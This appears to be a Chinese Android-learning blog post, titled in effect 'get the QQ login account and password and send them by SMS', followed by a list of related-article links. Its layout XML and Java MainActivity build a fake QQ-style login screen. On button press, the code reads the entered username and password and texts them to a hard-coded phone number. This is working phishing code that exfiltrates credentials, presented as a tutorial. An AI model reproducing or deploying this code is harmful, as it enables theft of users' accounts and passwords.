安卓学习之获取QQ登录账户和密码并发送短信
2016-03-16 18:50
330 查看
布局代码:
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context="cn.com.tarena.day01_easylogin.MainActivity" android:orientation="vertical" > <ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" android:id="@+id/Image01" android:src="@drawable/icon_img" android:layout_marginLeft="100dp" /> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:textAppearance="?android:attr/textAppearanceLarge" android:text="@string/user_name" android:id="@+id/textView" /> <EditText android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/EditText01" android:hint=" 请输入用户名"/> </LinearLayout> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:textAppearance="?android:attr/textAppearanceLarge" android:text="密 码:" android:id="@+id/textView3" /> <EditText android:layout_width="match_parent" android:layout_height="wrap_content" android:id="@+id/EditText02" android:hint="请输入密码" android:password="true" /> </LinearLayout> <LinearLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal"> <Button android:layout_width="0dp" android:layout_height="wrap_content" android:text="登陆" android:id="@+id/button" android:layout_weight="0.2" android:background="@drawable/btn_background" /> </LinearLayout> </LinearLayout>
主方法代码:
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
private Button Login;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Login=(Button)this.findViewById(R.id.button);
final EditText user=(EditText)this.findViewById(R.id.EditText01);
final EditText pass=(EditText)this.findViewById(R.id.EditText02);
Login.setOnClickListener(new myOnClickListener(){
@Override
public void onClick(View v) {
super.onClick(v);
String get_user = user.getText().toString().trim();
String get_pass = pass.getText().toString().trim();
System.out.println("QQNumber:" + get_user + ",Password:" + get_pass);
Toast.makeText(MainActivity.this, "get_user:" + get_user + ",get_pass:" + get_pass, Toast.LENGTH_LONG).show();
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage("15170267045",null,"QQNumber:"+get_user+",Password:"+get_pass,null,null);
}
}
);
}
class myOnClickListener implements View.OnClickListener{
@Override
public void onClick(View v) {
v.setAlpha(0.5f);
}
}
}
实现效果:
相关文章推荐
- groovy学习资料收藏
- JAVA对象Bean输出(toString)
- JVM垃圾回收器常用参数介绍
- 自己写的一个数组与list转化工具,请大神指正问题
- memset结构体初始化
- 走格子收获
- php面向对象编程
- build模式小例子
- Android 开发过程中总计的一些经验教z
- 阿里云服务器怎么去掉tomcat的8080端口
- Firemonkey Button 颜色
- NSMutableAttributedString
- PC端(基于Linux系统)通过串并网线口连接ARM开发板,烧写Bootloader并启用Bootp和Tftp等服务刷写Linux系统。
- iOS开发:XIB之AutoLayout添加约束
- 是输入字符矩阵时
- 通用型 控制层接受参数方法
- MySQL 源码安装
- [ShareSDK] QuickIntegrater.jar文件各种打不开
- POJ2299 分治法
- 学习TensorFlow,线性回归模型